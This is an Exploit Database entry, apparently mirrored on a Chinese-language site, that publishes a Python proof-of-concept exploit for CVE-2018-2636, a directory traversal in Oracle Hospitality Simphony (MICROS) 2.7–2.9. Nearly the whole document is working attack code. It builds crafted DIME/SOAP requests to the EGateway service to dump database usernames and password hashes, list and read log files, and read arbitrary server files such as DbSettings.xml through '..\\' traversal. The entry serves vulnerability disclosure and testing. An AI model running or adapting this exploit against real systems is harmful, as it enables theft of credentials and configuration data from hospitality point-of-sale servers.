Oracle Hospitality Simphony (MICROS) 2.7 < 2.9 - Directory Traversal

• Exploit Database
• 111 阅读

• 作者： Dmitry Chastuhin
  日期： 2018-02-02
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43960/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198

  # Exploit Title: Oracle Hospitality Simphony (MICROS) directory traversal # Date: 30.01.2018 # Exploit Author: Dmitry Chastuhin (https://twitter.com/_chipik) # Vendor Homepage: http://www.oracle.com/ # Version: 2.7, 2.8 and 2.9 # Tested on: Win, nix # CVE : CVE-2018-2636     #!/usr/bin/env python   # https://twitter.com/_chipik # Sorry for bad code practises. This is just a PoC, don&apos;t blame us very hard ¯\_(ツ)_/¯ import requests import argparse import unicodedata     def rm_right(str): rez="" k=0 for i in range(len(str)): rez = rez + str[k:k+2] k=k+4 return rez     def add_right(str,char): rez="" k=0 for i in range(len(str)/2): rez= rez + str[k:k+2]+char k=k+2 return rez     def rm_left(str): rez="" k=2 for i in range(len(str)): rez = rez + str[k:k+2] k=k+4 return rez     def add_left(str,char): rez="" k=0 for i in range(len(str)/2): rez= rez + char + str[k:k+2] k=k+2 return rez     def send(data,dos=0): if args.verb: print "[DBG] \n"+data.encode("hex") if dos: try: r = requests.post(base_uri, headers=headers, data=data, timeout=0.001) except: return else: r = requests.post(base_uri, headers=headers, data=data) if r.status_code == 200: if args.verb: print "[DBG] HEX:" print unicodedata.normalize(&apos;NFKD&apos;, r.text).encode(&apos;ascii&apos;,&apos;ignore&apos;).encode("hex") print "\n[DBG] RAW:\n"+r.text print "" return unicodedata.normalize(&apos;NFKD&apos;, r.text).encode(&apos;ascii&apos;,&apos;ignore&apos;) else: print "[DBG] status code: %d" % r.status_code print "[DBG] text : %s" % repr(r.text)     def calculate_len(filename): len2 = (len(filename)+8)/2 len1 = len2 + 8 len0 = len1 + 124 if args.verb: print "len2="+str(&apos;{0:02x}&apos;.format(len2)) print "len1="+str(&apos;{0:02x}&apos;.format(len1)) print "len0="+str(&apos;{0:04x}&apos;.format(len0)) return str(&apos;{0:04x}&apos;.format(len0)),str(&apos;{0:02x}&apos;.format(len1)),str(&apos;{0:02x}&apos;.format(len2))     def cli_info(): print "[*] Let&apos;s get info about server" poc_pref=&apos;\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00&apos; poc_body=&apos;<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soap:Body><ProcessDimeRequest xmlns=\"http://micros-hosting.com/EGateway/\" /></soap:Body></soap:Envelope>&apos; poc_suf1=&apos;\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\x84\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\x58\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\xb8\x58\x00\x00\xb1\x36\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02&apos; poc = poc_pref+poc_body+poc_suf1 full_rez = send(poc) return full_rez     def cli_dbinfo(): print "[*] Let&apos;s get DB creds" poc_pref=&apos;\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00&apos; poc_body=&apos;<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soap:Body><ProcessDimeRequest xmlns=\"http://micros-hosting.com/EGateway/\" /></soap:Body></soap:Envelope>&apos; poc_suf1=&apos;\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\xa0\x73\x71\x33\x49\x71\x35\x50\x54\x74\x66\x32\x6b\x42\x73\x53\x48\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\xbd\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\x88\x96\x00\x00\x35\x53\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x24\x00\x00\x00\x0d\x00\x44\x62\x49\x6e\x66\x6f\x52\x65\x71\x75\x65\x73\x74\x01\x00\x00\x00\x01\x00\x06\x00\x6d\x53\x70\x61\x72\x65\x08\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02&apos; poc = poc_pref+poc_body+poc_suf1 full_rez = send(poc) return full_rez     def cli_log_list(): print "[*] Let&apos;s get log list" poc = "0c200000001000290000013872663850506e79467478667275366577687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f0000003c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e3c736f61703a456e76656c6f706520786d6c6e733a736f61703d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61223e3c736f61703a426f64793e3c50726f6365737344696d655265717565737420786d6c6e733d22687474703a2f2f6d6963726f732d686f7374696e672e636f6d2f45476174657761792f22202f3e3c2f736f61703a426f64793e3c2f736f61703a456e76656c6f70653e0a100000001000180000008e72663850506e794674786672753665776170706c69636174696f6e2f6f637465742d73747265616d01e11e02000000360000003c00530049002d00530065006300750072006900740079002000560065007200730069006f006e003d0022003200220020002f003e00a5980000000000000000000001c11c0100000001d11d98a20000b13600000100000000000000000000001e00000012000000050000000a000000240024006c006f0067001dd1021cc1021ee1020000" full_rez = send(poc.decode("hex")) return full_rez     def cli_read_log(filename): log2="log\\"+filename print "[*] Let&apos;s read %s" % log2 log = add_left(log2.encode("hex"),"00") poc_pref=&apos;\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00&apos; poc_body=&apos;<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soap:Body><ProcessDimeRequest xmlns=\"http://micros-hosting.com/EGateway/\" /></soap:Body></soap:Envelope>&apos; poc_suf_1_1=&apos;0A100000001000180000&apos; poc_suf_1_ses=&apos;66497a3263516c56444c35305045356e&apos; poc_suf_1_2=&apos;6170706C69636174696F6E2F6F637465742D73747265616D01E11E02000000360000003C00530049002D00530065006300750072006900740079002000560065007200730069006F006E003D0022003200220020002F003E00C2AF0000000000000000000001C11C0100000001D11D8EBA0000B13600000100000000000000000000001E000000&apos; poc_suf_1_len0, poc_suf_1_len1, poc_suf_1_len2 = calculate_len(log) poc_suf_1_3=&apos;00000006000000&apos; poc_suf_1_4=&apos;000000240024&apos; poc_suf1=(poc_suf_1_1+poc_suf_1_len0+poc_suf_1_ses+poc_suf_1_2+poc_suf_1_len1+poc_suf_1_3+poc_suf_1_len2+poc_suf_1_4).decode("hex") poc_logname = log.decode("hex") if len(log2) % 2 == 1: poc_suf2=&apos;001dd1021cc1021ee1020000&apos;.decode("hex") else: poc_suf2=&apos;001dd1021cc1021ee102&apos;.decode("hex") poc = poc_pref+poc_body+poc_suf1+poc_logname+poc_suf2 full_rez = send(poc) return full_rez     def cal_tst(): file = "ServiceHostPrereq2012Sql\BootToDesktop.reg" suf = file.encode(&apos;utf-16le&apos;) print suf pre = "\x0c \x00\x00\x00)\x00)\x00\x00\x04muuid:4382e7a6-607d-4392-b5df-d4b8bfcf4185\x00\x00\x00http://schemas.xmlsoap.org/soap/envelope/\x00\x00\x00" xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/03/addressing\" xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\" xmlns:wsu=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\"><soap:Header><wsa:Action>http://micros-hosting.com/EGateway/ProcessDimeRequest</wsa:Action><wsa:MessageID>uuid:12e52d09-38dc-4071-810d-7ced9a3bfd59</wsa:MessageID><wsa:ReplyTo><wsa:Address>http://schemas.xmlsoap.org/ws/2004/03/addressing/role/anonymous</wsa:Address></wsa:ReplyTo><wsa:To>http://172.16.2.207:8080/EGateway/EGateway.asmx</wsa:To><wsse:Security><wsu:Timestamp wsu:Id=\"Timestamp-dd366974-3fbb-4e40-b868-ef9303548245\"><wsu:Created>2017-07-11T22:18:58Z</wsu:Created><wsu:Expires>2017-07-11T22:19:28Z</wsu:Expires></wsu:Timestamp></wsse:Security></soap:Header><soap:Body><ProcessDimeRequest xmlns=\"http://micros-hosting.com/EGateway/\" /></soap:Body></soap:Envelope>" suf_1 = "\x00\x00\x00\x0a\x10\x00\x00\x00)\x00\x18\x00\x00\x00\xf3uuid:d9706c6f-d103-45b2-9ca2-ec588dab1c7d\x00\x00\x00application/octet-stream\x01\xe1\x1e\x02\x00\x00\x00\x00\x00\x00\x00N\x1c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1dM\x1c\x01\x00kB\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\xad\x00\x00\x00\x01\x00\x00\x002\x00\x00\x00kB\x00\x00\x00\x00\x00\x00\x03\x01\x04\x8a\x15\x00\x00\x00\x11\x00\x00\x00\x18\x00\x00\x00W\x00o\x00r\x00k\x00s\x00t\x00a\x00t\x00i\x00o\x00n\x001\x00\\\x00\x00\x00" suf_2 = "\x01\xadf\xd7\x00\x00\x00\x00\x00\x17t\x00\x00\x8e\x00\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02\x00" rez_S = suf_1+suf+suf_2 data =pre+xml+rez_S   print suf.decode(&apos;utf-16le&apos;)       if __name__ == &apos;__main__&apos;: parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) parser.add_argument(&apos;-H&apos;, &apos;--host&apos;, default=&apos;127.0.0.1&apos;, help=&apos;host&apos;) parser.add_argument(&apos;-P&apos;, &apos;--port&apos;, default=&apos;8080&apos;, help=&apos;port&apos;) parser.add_argument(&apos;-i&apos;, &apos;--info&apos;, action=&apos;store_true&apos;, help=&apos;information about micros installation&apos;) parser.add_argument(&apos;-d&apos;, &apos;--dbinfo&apos; ,action=&apos;store_true&apos;,help=&apos;information about micros db (usernames and hashes)&apos;) parser.add_argument(&apos;-l&apos;, &apos;--log&apos;, action=&apos;store_true&apos;, help=&apos;information about log files&apos;) parser.add_argument(&apos;-s&apos;, &apos;--ssl&apos;, action=&apos;store_true&apos;, help=&apos;enable SSL&apos;) parser.add_argument(&apos;-r&apos;, &apos;--read&apos;, help=&apos;read file from server (root dir is c:\\. Ex.: windows\\win.ini) Also u can use 1 - for SimphonyInstall.xml and 2 - for DbSettings.xml&apos; ) parser.add_argument(&apos;-v&apos;, &apos;--verb&apos;, action=&apos;store_true&apos;, default=0, help=&apos;verb&apos;) args = parser.parse_args() headers = dict() if args.ssl: base_uri = &apos;https://%s:%s%s&apos; % (args.host, args.port, &apos;/EGateway/EGateway.asmx&apos;) else: base_uri = &apos;http://%s:%s%s&apos; % (args.host, args.port, &apos;/EGateway/EGateway.asmx&apos;)   headers[&apos;SOAPAction&apos;] = &apos;\"http://micros-hosting.com/EGateway/ProcessDimeRequest\"&apos; headers[&apos;Content-Type&apos;]= &apos;application/dime&apos; headers[&apos;Expect&apos;] = &apos;100-continue&apos;   if args.info: results = cli_info() if results.find(&apos;\x00\x55\x00\x6e\x00\x61\x00\x75\x00\x74\x00\x68\x00\x6f\x00\x72\x00\x69\x00\x7a\x00\x65\x00\x64&apos;) != -1: print "[*] Your instance is not vulnerable to CVE-2018-2636" else: print "[!] Your instance is vulnerable to CVE-2018-2636" print results exit() if args.dbinfo: print cli_dbinfo() exit() if args.log: print cli_log_list() exit() if args.read: if args.read == "1": print cli_read_log("..\\..\\..\\SimphonyInstall.xml") exit() if args.read == "2": print cli_read_log("..\\DbSettings.xml") exit() else: print cli_read_log(args.read) exit()